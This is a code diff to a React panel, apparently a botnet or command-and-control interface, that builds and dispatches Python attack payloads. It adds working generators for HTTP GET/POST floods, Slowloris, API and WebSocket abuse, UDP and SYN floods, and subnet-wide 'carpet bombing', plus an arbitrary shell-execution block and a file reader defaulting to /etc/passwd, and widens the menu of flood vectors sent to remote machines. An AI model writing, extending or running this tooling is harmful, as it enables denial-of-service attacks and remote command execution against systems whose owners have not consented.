Update src/App.tsx

src/App.tsx

@@ -20,7 +20,75 @@ import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, us
 import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
 import { CSS } from '@dnd-kit/utilities';
 
-const SortableBlock = ({ id, content, title, desc, onRemove }: any) => {
+const BLOCK_CONFIGS: Record<string, any> = {
+  http_probe: {
+    title: 'HTTP GET Probe', color: 'bg-indigo-600',
+    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
+    generator: (p: any) => `def exec_fetch_http_test(ip, port):\n    import requests, time\n    try:\n        t0 = time.time()\n        res = requests.get(f"http://{ip}:{port}/", timeout=3)\n        return {"status": f"HTTP_{res.status_code}"}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))`
+  },
+  tcp_handshake: {
+    title: 'TCP Handshake', color: 'bg-indigo-600',
+    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
+    generator: (p: any) => `def exec_tcp_probe(ip, port):\n    import socket, time\n    try:\n        t0 = time.time()\n        with socket.socket(socket.AF_INET, socket.STREAM) as s:\n            s.settimeout(2); s.connect((ip, int(port)))\n        return {"status": "tcp_connected"}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))`
+  },
+  exec_shell: {
+    title: 'Execute Shell', color: 'bg-emerald-600',
+    fields: [{key: 'cmd', label: 'Command', default: 'whoami'}],
+    generator: (p: any) => `def exec_shell(cmd):\n    import subprocess\n    try:\n        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n    except Exception as e:\n        return str(e)\n\nprint(exec_shell("${p.cmd}"))`
+  },
+  ping: {
+    title: 'ICMP Ping', color: 'bg-indigo-600',
+    fields: [{key: 'host', label: 'Target Host', default: 'google.com'}],
+    generator: (p: any) => `def icmp_ping(host):\n    import subprocess, platform\n    cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n    try:\n        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n    except Exception as e:\n        return str(e)\n\nprint(icmp_ping("${p.host}"))`
+  },
+  read_file: {
+    title: 'Read File', color: 'bg-blue-600',
+    fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}],
+    generator: (p: any) => `def read_file(path):\n    try:\n        with open(path, 'r') as f: return {"content": f.read(4000)}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(read_file("${p.path}"))`
+  },
+  http_get_flood: {
+    title: 'L7 HTTP GET Flood', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.get(url, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))`
+  },
+  http_post_flood: {
+    title: 'L7 HTTP POST Flood', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n    import threading, time, requests, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))`
+  },
+  slowloris: {
+    title: 'L7 Slowloris', color: 'bg-rose-600',
+    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
+    generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n    import socket, threading, time, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.settimeout(4); s.connect((ip, int(port)))\n            s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n            stats["sent"] += 1\n            while time.time() < t_end:\n                s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n                time.sleep(10); stats["sent"] += 1\n        except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start(); time.sleep(0.05)\n    for t in threads: t.join()\n    return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  api_abuse_flood: {
+    title: 'L7 API Abuse', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n    import threading, time, requests, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))`
+  },
+  udp_flood: {
+    title: 'L4 UDP Flood', color: 'bg-orange-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}],
+    generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n    import socket, time, os, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    payload = os.urandom(int(packet_size))\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))`
+  },
+  syn_flood: {
+    title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600',
+    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n        except: stats["errors"] += 1; return\n        while time.time() < t_end:\n            try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  carpet_bombing: {
+    title: 'L4 Carpet Bombing', color: 'bg-orange-600',
+    fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
+    generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n    import socket, time, os, threading, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    payload = os.urandom(512)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            target_ip = subnet + str(random.randint(1, 254))\n            try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))`
+  },
+  websocket_flood: {
+    title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
+    fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
+    generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
+  }
+};
+
+const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => {
   const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
   
   const style = {
@@ -28,21 +96,40 @@ const SortableBlock = ({ id, content, title, desc, onRemove }: any) => {
     transition,
   };
 
+  const config = BLOCK_CONFIGS[type];
+  if (!config) return null;
+
   return (
-    <div ref={setNodeRef} style={style} className="flex items-center gap-2 mb-2 group">
-      <div {...attributes} {...listeners} className="cursor-grab active:cursor-grabbing p-2 bg-black/20 hover:bg-black/40 rounded-lg text-slate-500 border border-transparent hover:border-white/5 transition-all">
-        <GripVertical size={16} />
-      </div>
-      <div className="flex-1 border border-white/5 bg-black/30 rounded-xl p-3 flex justify-between items-center group-hover:border-indigo-500/30 transition-all">
-        <div>
-          <div className="text-sm font-bold text-white mb-0.5">{title}</div>
-          <div className="text-xs text-slate-400 font-mono overflow-hidden text-ellipsis whitespace-nowrap max-w-[200px]">
-             {content.split('\\n')[0]}...
+    <div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative">
+      <div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}>
+        <div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}>
+          <GripVertical size={16} />
+        </div>
+        <div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all">
+          <div className="flex justify-between items-center mb-3">
+            <div className="flex items-center gap-2">
+              <span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} />
+              <span className="text-sm font-bold text-slate-100">{config.title}</span>
+            </div>
+            <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10">
+              <Trash2 size={14} />
+            </button>
+          </div>
+          
+          <div className="bg-slate-900/50 rounded-lg p-3 grid gap-3">
+            {config.fields.map((f: any) => (
+              <div key={f.key} className="flex items-center gap-3">
+                <label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label>
+                <input 
+                  type="text" 
+                  value={params[f.key] || ''} 
+                  onChange={(e) => onUpdate(id, f.key, e.target.value)}
+                  className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner"
+                />
+              </div>
+            ))}
           </div>
         </div>
-        <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-2 rounded-lg hover:bg-red-400/10">
-          <Trash2 size={16} />
-        </button>
       </div>
     </div>
   );
@@ -515,7 +602,7 @@ function BuilderTab() {
   const [payloadsList, setPayloadsList] = useState<any[]>([]);
 
   // Drag and Drop State
-  const [blocks, setBlocks] = useState<{id: string; title: string; content: string}[]>([]);
+  const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]);
   
   const sensors = useSensors(
     useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
@@ -533,8 +620,16 @@ function BuilderTab() {
     }
   };
 
-  const addBlock = (title: string, content: string) => {
-    setBlocks([...blocks, { id: crypto.randomUUID(), title, content }]);
+  const addBlock = (type: string) => {
+    const config = BLOCK_CONFIGS[type];
+    if (!config) return;
+    const initialParams: any = {};
+    for (const f of config.fields) initialParams[f.key] = f.default;
+    setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]);
+  };
+
+  const updateBlockParams = (id: string, key: string, value: string) => {
+    setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b));
   };
 
   const removeBlock = (id: string) => {
@@ -542,7 +637,10 @@ function BuilderTab() {
   };
 
   const compileBlocks = () => {
-    setResult(blocks.map(b => b.content).join('\\n\\n'));
+    setResult(blocks.map(b => {
+      const config = BLOCK_CONFIGS[b.type];
+      return config ? config.generator(b.params) : '';
+    }).join('\\n\\n'));
   };
 
   useEffect(() => {
@@ -717,46 +815,12 @@ function BuilderTab() {
                      <div className="flex flex-col gap-2">
                        <p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
                        <div className="grid grid-cols-2 gap-2">
-                          <div onClick={() => addBlock('HTTP GET Probe', 'def exec_fetch_http_test(ip, port):\\n    import requests, time\\n    try:\\n        url = f"http://{ip}:{port}/"\\n        t0 = time.time()\\n        res = requests.get(url, timeout=3)\\n        return {"status": f"HTTP_{res.status_code}", "latency_ms": round((time.time()-t0)*1000, 2)}\\n    except Exception as e:\\n        return {"status": "error", "detail": str(e)}')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-indigo-300">HTTP Probe</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Lightweight connectivity check.</div>
-                          </div>
-                          <div onClick={() => addBlock('TCP Handshake', 'def exec_socket_tcp_probe(ip, port):\\n    import socket, time\\n    try:\\n        t0 = time.time()\\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n            s.settimeout(2)\\n            s.connect((ip, int(port)))\\n        return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}\\n    except Exception as e:\\n        return {"status": "tcp_failed", "detail": str(e)}')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
-                          </div>
-                          
-                          <div onClick={() => addBlock('L7 HTTP GET Flood', 'def exec_http_get_flood(url, duration, threads_count):\\n    import threading, time, requests\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def flood_worker():\\n        while time.time() < t_end:\\n            try:\\n                requests.get(url, timeout=2)\\n                stats["sent"] += 1\\n            except:\\n                stats["errors"] += 1\\n    threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start()\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L7 HTTP GET Flood</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Concurrent URL GET requests.</div>
-                          </div>
-                          <div onClick={() => addBlock('L7 HTTP POST Flood', 'def exec_http_post_flood(url, duration, threads_count):\\n    import threading, time, requests, os\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def flood_worker():\\n        while time.time() < t_end:\\n            try:\\n                requests.post(url, data=os.urandom(16), timeout=2)\\n                stats["sent"] += 1\\n            except:\\n                stats["errors"] += 1\\n    threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start()\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L7 HTTP POST Flood</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Concurrent URL POST requests.</div>
-                          </div>
-                          
-                          <div onClick={() => addBlock('L7 Slowloris', 'def exec_slowloris(ip, port, duration, threads_count):\\n    import socket, threading, time, random\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def slowloris_worker():\\n        try:\\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n            s.settimeout(4)\\n            s.connect((ip, int(port)))\\n            s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\\\r\\\\n".encode())\\n            s.send("User-Agent: Mozilla/5.0\\\\r\\\\n".encode())\\n            s.send("Accept-language: en-US,en,q=0.5\\\\r\\\\n".encode())\\n            stats["sent"] += 1\\n            while time.time() < t_end:\\n                s.send(f"X-a: {random.randint(1,5000)}\\\\r\\\\n".encode())\\n                time.sleep(10)\\n                stats["sent"] += 1\\n        except:\\n            stats["errors"] += 1\\n    threads = [threading.Thread(target=slowloris_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start(); time.sleep(0.05)\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L7 Slowloris</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Keeps connections open very slowly.</div>
-                          </div>
-                          <div onClick={() => addBlock('L7 API Abuse', 'def exec_api_abuse_flood(url, duration, threads_count):\\n    import threading, time, requests, json, random\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def flood_worker():\\n        while time.time() < t_end:\\n            try:\\n                payload = {"query": "test", "id": random.randint(1,99999)}\\n                requests.post(url, json=payload, timeout=2)\\n                stats["sent"] += 1\\n            except:\\n                stats["errors"] += 1\\n    threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start()\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L7 API Abuse</div>
-                             <div className="text-[10px] text-slate-400 mt-1">REST API hammering with JSON.</div>
-                          </div>
-                          <div onClick={() => addBlock('L7 Cache Bypass', 'def exec_cache_bypass_flood(url, duration, threads_count):\\n    import threading, time, requests, random\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def flood_worker():\\n        while time.time() < t_end:\\n            try:\\n                b_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())\\n                requests.get(b_url, timeout=2)\\n                stats["sent"] += 1\\n            except:\\n                stats["errors"] += 1\\n    threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start()\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L7 Cache Bypass</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Randomized strings to hit origin.</div>
-                          </div>
-
-                          <div onClick={() => addBlock('L4 UDP Flood', 'def exec_udp_flood(ip, port, duration, packet_size):\\n    import socket, time, os\\n    try:\\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n        bytes_to_send = os.urandom(int(packet_size))\\n        t_end = time.time() + float(duration)\\n        sent = 0\\n        while time.time() < t_end:\\n            s.sendto(bytes_to_send, (ip, int(port)))\\n            sent += 1\\n        return {"status": "udp_flood_finished", "packets_sent": sent}\\n    except Exception as e:\\n        return {"status": "udp_flood_failed", "detail": str(e)}')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
-                          </div>
-                          
-                          <div onClick={() => addBlock('L4 TCP Connect', 'def exec_tcp_connect_flood(ip, port, duration, threads_count):\\n    import socket, threading, time\\n    stats = {"sent": 0, "errors": 0}\\n    t_end = time.time() + float(duration)\\n    def flood_worker():\\n        while time.time() < t_end:\\n            try:\\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n                s.settimeout(1)\\n                s.connect((ip, int(port)))\\n                s.close()\\n                stats["sent"] += 1\\n            except:\\n                stats["errors"] += 1\\n    threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n    for t in threads: t.start()\\n    for t in threads: t.join()\\n    return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
-                             <div className="text-xs font-bold text-rose-300">L4 TCP Connect</div>
-                             <div className="text-[10px] text-slate-400 mt-1">Max rate TCP handshakes.</div>
+                        {Object.entries(BLOCK_CONFIGS).map(([type, config]) => (
+                          <div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}>
+                             <div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div>
+                             <div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div>
                           </div>
+                        ))}
                        </div>
                      </div>
                   ) : (
@@ -822,7 +886,7 @@ function BuilderTab() {
                   <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
                     <SortableContext items={blocks} strategy={verticalListSortingStrategy}>
                       {blocks.map((block) => (
-                        <SortableBlock key={block.id} {...block} onRemove={removeBlock} />
+                        <SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} />
                       ))}
                     </SortableContext>
                   </DndContext>
@@ -1237,7 +1301,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
   const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
   const requiresFloodArgs = command === 'network_flood';
   const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
-  const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood'].includes(floodType));
+  const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood'].includes(floodType));
   const requiresPorts = command === 'port_scan';
   const requiresInterval = command === 'change_poll_interval';
   const requiresShell = command === 'exec_shell';
@@ -1421,15 +1485,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
                     className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
                   >
                     <optgroup label="L7 Vectors (Application)">
-                      <option value="http_get_flood">HTTP GET Flood</option>
-                      <option value="http_post_flood">HTTP POST Flood</option>
+                      <option value="http_get_flood">HTTP/1.1 GET Flood</option>
+                      <option value="http_post_flood">HTTP/1.1 POST Flood</option>
                       <option value="slowloris">Slowloris (TCP Exhaustion)</option>
+                      <option value="slow_post_flood">Slow POST (Body Exhaustion)</option>
                       <option value="api_abuse_flood">API Abuse Flood</option>
                       <option value="cache_bypass_flood">Cache Bypass Flood</option>
+                      <option value="websocket_flood">WebSocket Abuse</option>
                     </optgroup>
                     <optgroup label="L4 Vectors (Transport)">
                       <option value="udp_flood">UDP Raw Datagram Flood</option>
                       <option value="tcp_connect_flood">TCP Connect Flood</option>
+                      <option value="syn_flood">SYN Flood (Requires Root)</option>
+                      <option value="carpet_bombing">Carpet Bombing (Subnet)</option>
                     </optgroup>
                   </select>
                 </div>